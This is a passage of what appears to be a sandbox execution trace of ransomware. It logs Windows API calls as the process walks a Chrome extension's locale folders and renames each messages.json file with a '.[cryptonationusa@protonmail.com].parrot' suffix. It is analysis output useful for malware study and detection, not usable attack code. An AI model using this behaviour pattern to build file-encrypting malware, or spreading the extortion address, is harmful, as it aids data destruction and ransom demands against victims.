data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.764] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.764] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841c6b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7aa0d40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7aa0d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.764] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841c9290, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841c9290, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7a7abe0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.764] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.764] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.764] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ce0b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d07c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841d07c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.764] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.764] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.764] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841d07c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d07c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.765] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.765] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.765] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.765] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.766] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe6, lpOverlapped=0x0) returned 1 [0070.766] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.766] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.766] CloseHandle (hObject=0x28c) returned 1 [0070.766] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.768] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.768] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841ce0b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7aa0d40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7aa0d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.768] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841d07c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d07c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7aa0d40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.768] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.768] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.768] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841d55e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d7cf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841d7cf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.768] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.769] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.769] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841d7cf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d7cf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.810] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fa, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.810] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.810] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.811] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.812] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe2, lpOverlapped=0x0) returned 1 [0070.812] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.812] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.812] CloseHandle (hObject=0x1fc) returned 1 [0070.812] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.814] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.814] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841d55e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7b13160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7b13160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.814] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841d7cf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841d7cf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7b13160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.815] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.815] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.815] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841dcb10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841df220, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841df220, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.815] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.815] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.815] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841df220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841df220, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.815] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x216, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.815] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.815] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.816] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.816] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xfe, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xfe, lpOverlapped=0x0) returned 1 [0070.816] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.817] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x216, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.817] CloseHandle (hObject=0x1fc) returned 1 [0070.817] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.854] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.854] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841dcb10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7b5f420, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7b5f420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.854] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841df220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841df220, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7b13160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.854] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.855] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.855] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841eb570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f0390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841f0390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.855] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.855] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.855] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841f0390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f0390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.860] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f3, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.860] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.860] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.861] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.861] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdb, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xdb, lpOverlapped=0x0) returned 1 [0070.861] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.861] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.861] CloseHandle (hObject=0x1fc) returned 1 [0070.862] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.864] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.864] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841eb570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7b85580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7b85580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.864] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841f0390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f0390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7b85580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.864] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.864] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.864] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841f51b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f78c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841f78c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.865] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.865] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.865] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841f78c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841f78c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.865] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f6, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.865] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.865] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, 